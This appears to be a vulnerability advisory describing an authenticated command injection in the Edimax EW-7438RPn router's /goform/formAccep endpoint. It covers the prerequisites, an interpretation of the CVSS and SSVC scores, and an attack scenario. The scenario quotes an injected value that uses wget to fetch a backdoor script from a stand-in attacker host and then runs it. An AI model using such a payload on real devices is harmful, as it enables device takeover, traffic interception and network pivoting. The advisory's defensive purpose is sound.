Edimax EW-7438RPn CVE-2026-9361

Attacker must possess valid authentication credentials with low-level privileges (PR:L) to access the Edimax EW-7438RPn web management interface before exploitation is possible. The vulnerability cannot be exploited by unauthenticated remote attackers. The device must be running vulnerable firmware version 1.12, though other versions may be affected pending vendor confirmation. The /goform/formAccep endpoint must be accessible to the authenticated user, which is the default configuration for web management interfaces. No additional non-default configuration, specific feature enablement, or user interaction (UI:N) is required once authentication is achieved. Exploitation is limited to scenarios where: (1) default credentials have not been changed, (2) credentials have been compromised through separate attacks, or (3) attacker has already established presence on the network segment with access to the management interface. These authentication requirements significantly reduce attack surface compared to unauthenticated remote code execution, but credential reuse and default password prevalence in consumer networking devices remain common security gaps that enable practical exploitation.

The CVSS v3.1 base score of 6.3 (MEDIUM) reflects moderate overall severity, but real-world risk assessment requires nuanced interpretation of the vector string. The attack vector is network-based (AV:N) with low complexity (AC:L), meaning exploitation is straightforward once network access is achieved. However, the critical limiting factor is the authentication requirement (PR:L) - attackers need valid low-privileged credentials to the web management interface before exploiting this command injection. The presence of public exploit code (E:P) significantly lowers the skill barrier for exploitation, transforming this from theoretical to immediately actionable for adversaries with stolen or default credentials. The lack of vendor response (RL:X indicates no official fix available) means affected organizations have no direct patch path, elevating operational risk. The scope is unchanged (S:U), limiting impact to the compromised device itself, but the CIA impact triad of Low/Low/Low understates real consequences - successful command injection on an embedded networking device typically yields root-level access, enabling network pivoting, traffic interception, and persistent backdoor installation. SSVC factors suggest medium priority: exploitation requires authentication (not fully automatable), technical impact enables full device compromise despite CVSS CIA ratings, and publicly available POC code indicates exploitation is viable but not yet widespread. The authentication prerequisite and lack of KEV listing suggest this is not being mass-exploited, but represents significant risk in targeted attacks against organizations reusing default credentials or where attacker has already achieved initial access to the network.

An attacker who has obtained valid credentials to the Edimax EW-7438RPn web management interface (through credential stuffing, default password reuse, or prior network compromise) authenticates to the device and navigates to configuration functions that utilize the vulnerable /goform/formAccep endpoint. The attacker crafts a malicious POST request containing shell metacharacters and command sequences in the submit-url parameter, such as injecting "; wget http://attacker.com/backdoor.sh -O /tmp/b.sh; sh /tmp/b.sh #" to download and execute a remote backdoor script. The formAccept function passes this unsanitized input to system shell commands, executing the attacker's payload with the privileges of the web server process (typically root on embedded devices), granting full device control for network traffic interception, firmware modification, or pivoting to adjacent network segments.